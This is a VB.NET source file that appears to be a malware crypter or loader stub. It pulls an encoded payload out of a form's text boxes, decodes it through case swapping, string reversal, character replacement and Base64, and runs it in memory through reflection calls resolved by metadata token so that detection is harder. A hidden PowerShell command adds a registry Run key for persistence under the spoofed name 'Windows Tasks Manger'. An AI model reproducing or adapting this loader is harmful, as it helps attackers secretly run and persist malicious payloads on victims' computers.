Imports System.Linq
Imports System.Reflection
Imports System.Text

Module Main
    Public CA As String = Nothing
    Sub main()

        GetType(Main).Module.ResolveMethod(100663467).Invoke(Nothing, New Object() {})
        Enumerable.OfType(Of TextBox)(Form1.Controls).ToList.ForEach(Sub(i)
                                                                         CA += i.Text
                                                                     End Sub)
        CA = GetType(Main).Module.ResolveMethod(100663463).Invoke(Nothing, New Object() {CA})
        CA = GetType(Main).Module.ResolveMethod(100663466).Invoke(Nothing, New Object() {CA})
        CA = GetType(Main).Module.ResolveMethod(100663465).Invoke(Nothing, New Object() {CA})
        Dim AC As Byte() = GetType(Main).Module.ResolveMethod(100663464).Invoke(Nothing, New Object() {CA})
        GetType(Main).Module.ResolveMethod(100663462).Invoke(Nothing, New Object() {AC, New Object() {}})
    End Sub
    Public Function InjectMe(value As Byte(), ByVal ParamArray P2() As Object) As Object
        Dim A = Nothing, B = Nothing, C = Nothing
        Enumerable.OfType(Of MethodInfo)(GetType(Assembly).GetMethods).ToList.ForEach(Sub(i) If i.MetadataToken - 100670496 = 0 Then A = i.Invoke(Nothing, New Object() {value}))
        Enumerable.OfType(Of PropertyInfo)(GetType(Assembly).GetProperties).ToList.ForEach(Sub(i) If i.MetadataToken - 385877095 = 0 Then B = i.GetValue(A, Nothing))
        Enumerable.OfType(Of MethodInfo)(GetType(MethodInfo).GetMethods).ToList.ForEach(Sub(i) If i.MetadataToken - 100671436 = 0 Then C = i.Invoke(B, New Object() {Nothing, P2}))
        Return C
    End Function
    Public Function BaseMe(ByVal str As String)
        Dim NewStr As New StringBuilder
        For i = 0 To str.Length - 1
            Select Case True
                Case str(i).ToString.ToUpper = str(i)
                    NewStr.Append(str(i).ToString.ToLower)
                Case str(i).ToString.ToLower = str(i)
                    NewStr.Append(str(i).ToString.ToUpper)
                Case Else
                    NewStr.Append(str(i))
            End Select
        Next
        Return NewStr.ToString
    End Function
    Public Function DecryptMe(value As String) As Byte()
        Dim A As Byte() = Nothing
        Enumerable.OfType(Of MethodInfo)(GetType(Convert).GetMethods).ToList.ForEach(Sub(i) If i.MetadataToken - 100665654 = 0 Then A = i.Invoke(Nothing, New Object() {value}))
        Return A
    End Function
    Public Function RevserME(value As String) As String
        Return StrReverse(value)
    End Function
    Public Function replaceME(value As String) As String
        Dim A As String = Nothing
        Enumerable.OfType(Of MethodInfo)(GetType(String).GetMethods).ToList.ForEach(Sub(i) If i.MetadataToken - 100663740 = 0 Then A = i.Invoke(value, New Object() {"ً", "A"}))
        Return A
    End Function
    Public Function powershell()
        Dim PowerShellScript As String = "-windowstyle hidden ( New-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"" -Name ""$NAME$"" -Value ""$PATH$"" )"
        Dim name As String = "Windows Tasks Manger"
        Dim A As String = Nothing
        Enumerable.OfType(Of MethodInfo)(GetType(String).GetMethods).ToList.ForEach(Sub(i) If i.MetadataToken - 100663740 = 0 Then A = i.Invoke(PowerShellScript, New Object() {"$PATH$", Application.ExecutablePath}))
        Enumerable.OfType(Of MethodInfo)(GetType(String).GetMethods).ToList.ForEach(Sub(i) If i.MetadataToken - 100663740 = 0 Then A = i.Invoke(A, New Object() {"$NAME$", name}))
        PowerShellScript = A
        Dim PSI As New ProcessStartInfo With {.FileName = "powershell", _
                                         .Arguments = PowerShellScript, _
                                         .WindowStyle = ProcessWindowStyle.Hidden}
        Process.Start(PSI).WaitForExit()

    End Function
End Module